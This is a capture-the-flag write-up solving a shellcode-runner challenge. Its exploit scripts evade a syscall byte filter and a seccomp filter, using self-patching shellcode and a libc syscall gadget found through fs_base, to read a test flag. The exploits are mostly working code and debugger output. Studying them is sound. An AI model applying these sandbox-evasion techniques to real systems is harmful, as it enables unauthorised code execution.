Initial Impressions
We are provided with the challenge source code (chall.c
), which appears to be a simple shellcode runner. It uses mmap
to allocate a memory region with read and execute (RX) permissions, loading your shellcode into it—assuming you pass both the byte check and the seccomp
filter.
Copy #include <stdlib.h>
#include <stdnoreturn.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdint.h>
#include <seccomp.h>
int check(char* code) {
for (int i = 0; i < 0x1000; i += 1) {
// block our syscall bytes the LAZY way:)
if (code[i] == 0x0f || code[i] == 0x05 || code[i] == 0xcd || code[i] == 0x80)
return 1;
}
// install seccomp filters as extra security!!
// it shouldn't matter though, since syscall is blocked anyways
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_KILL);
if (!ctx)
return 1;
if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0) < 0)
return 1;
if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(sendfile), 0) < 0)
return 1;
if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0) < 0)
return 1;
seccomp_load(ctx);
return 0;
}
void call_shellcode(char* code) {
__asm__(
".intel_syntax noprefix\n"
"mov rax, rdi\n"
"mov rsp, 0\n"
"mov rbp, 0\n"
"mov rbx, 0\n"
"mov rcx, 0\n"
"mov rdx, 0\n"
"mov rdi, 0\n"
"mov rsi, 0\n"
"mov r8, 0\n"
"mov r9, 0\n"
"mov r10, 0\n"
"mov r11, 0\n"
"mov r12, 0\n"
"mov r13, 0\n"
"mov r14, 0\n"
"mov r15, 0\n"
"jmp rax\n"
".att_syntax\n"
);
}
int main() {
setbuf(stdin, 0);
setbuf(stdout, 0);
char* code = mmap((void*)0x13370000, 0x1000, 7, MAP_SHARED | MAP_ANONYMOUS, 0, 0);
printf("Blob Runner> ");
fgets(code, 0x1000, stdin);
mprotect(code, 0x1000, 5);
if (!check(code)) {
call_shellcode(code);
} else {
printf("Bad Blob!\n");
}
}
Analysis
The filters are pretty easy to understand.
Seccomp filters only permit the use of open
, sendfile
and exit
syscalls
Shellcode cannot contain the following bytes which are syscall
bytes for x64 and x86
Copy from pwn import *
def wrapper(sc):
bad_sc = bytearray(asm(sc))
good_sc = asm("mov r10, rax")
bad_offsets = []
for i in range(len(bad_sc)):
if bad_sc[i] in [0x05, 0x0f, 0x80, 0xcd, 0xa]:
bad_offsets.append(i)
bad_sc[i] -= 1
for b in bad_offsets:
good_sc += asm(f"inc byte ptr [r10+{b}]")
a = asm(f"add r10, {5+len(good_sc)}")
o = len(a) + len(good_sc)
q = 0
if o in [0x05, 0x0f, 0x80, 0xcd, 0xa]:
o += 1
q = 1
good_sc = b"\x90"*q + asm(f"add rax, {o}") + good_sc + bad_sc
return good_sc
context.terminal = ["tmux", "neww"]
context.binary = ELF("./app/chall")
p = remote("localhost", 21237)
# p = process("./chall")
sc = """
push 0x1010101 ^ 0x7478
xor dword ptr [rsp], 0x1010101
mov rax, 0x742e67616c662f2e
push rax
mov rdi, rsp
mov rax, 2
mov rsi, 0
mov rdx, 0
syscall
mov rdi, rax
mov rsi, r10
add rsi, 0xf00
mov rdx, 0x20
mov rax, 0
syscall
mov rdi, 1
mov rdx, 0x20
mov rax, 1
syscall
mov rax, 0x3c
mov rdi, 0
syscall
"""
asc = wrapper(sc)
# gdb.attach(p)
p.sendline(asc)
p.interactive()
But this time we don't have write permissions over the mmaped region - lets ROP instead!.
We see that when we jump to our mmaped
region at 0x13370000
, we note that all registers are cleared besides fs_base
Copy fs_base 0x7ffff7d8e740 140737351575360
gs_base 0x0 0
pwndbg> address fs_base
There are no mappings for specified address or module.
pwndbg> address $fs_base
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x555555559000 0x55555557a000 rw-p 21000 0 [heap]
► 0x7ffff7d8e000 0x7ffff7d91000 rw-p 3000 0 [anon_7ffff7d8e] +0x740
0x7ffff7d91000 0x7ffff7db9000 r--p 28000 0 /usr/lib/x86_64-linux-gnu/libc.so.6
We note that the mmaped region is adjacent to libc which means we can use find gadgets like syscall
in libc as the relative offset stays the same!
Copy from pwn import *
pop_rdi = 0x2a205
pop_rsi = 0x2bb39
pop_rax = 0x43067
syscall_gadget = 0x8ed72
BAD_BYTES = [0x0f, 0x05, 0xcd, 0x80]
def check_bad_bytes(shellcode):
bad_positions = []
for i, b in enumerate(shellcode):
if b in BAD_BYTES:
bad_positions.append((i, hex(b)))
return bad_positions
sc = b""
part1 = asm("""
mov rax, fs:[0]
mov rbx, rax
mov rcx, 0x28c0
lea r15, [rax + rcx]
""", arch='amd64')
sc += part1
print(f"Part 1 - Bad bytes: {check_bad_bytes(part1)}")
part2 = asm("""
mov r14, 0x7478742e67616c66
mov [rbx + 0x200], r14
mov byte ptr [rbx + 0x208], 0
lea rdi, [rbx + 0x200]
lea rsp, [rbx + 0x1000]
""", arch='amd64')
sc += part2
print(f"Part 2 - Bad bytes: {check_bad_bytes(part2)}")
part3 = asm(f"""
xor rsi, rsi
mov rax, 2
lea rcx, [r15 + {syscall_gadget}]
call rcx
mov rsi, rax
mov rdi, 1
xor rdx, rdx
mov r10, 1000
mov rax, 40
lea rcx, [r15 + {syscall_gadget}]
call rcx
xor rdi, rdi
mov rax, 60
lea rcx, [r15 + {syscall_gadget}]
call rcx
""", arch='amd64')
sc += part3
print(f"Part 3 - Bad bytes: {check_bad_bytes(part3)}")
print(f"\nTotal shellcode length: {len(sc)}")
print(f"Total bad bytes: {check_bad_bytes(sc)}")
if check_bad_bytes(sc):
print("\n⚠️ WARNING: Bad bytes detected! Need to modify approach.")
else:
print("\n✅ No bad bytes detected - shellcode is clean!")
p = process('./chall_patched')
gdb.attach(p, gdbscript='''break *call_shellcode''')
p.recvuntil(b'Blob Runner> ')
p.sendline(sc)
p.interactive()
Copy ┌──(kali㉿kali)-[~/…/finals/pwn/super_secure_blob_runner/dist]
└─$ python3 solve.py
Part 1 - Bad bytes: []
Part 2 - Bad bytes: []
Part 3 - Bad bytes: []
Total shellcode length: 135
Total bad bytes: []
✅ No bad bytes detected - shellcode is clean!
[+] Starting local process './chall_patched': pid 110596
[*] running in new terminal: ['/usr/bin/gdb', '-q', './chall_patched', '-p', '110596', '-x', '/tmp/pwnlib-gdbscript-d3wtjltp.gdb']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
grey{TEST_FLAG}
[*] Process './chall_patched' stopped with exit code 0 (pid 110596)
[*] Got EOF while reading in interactive
$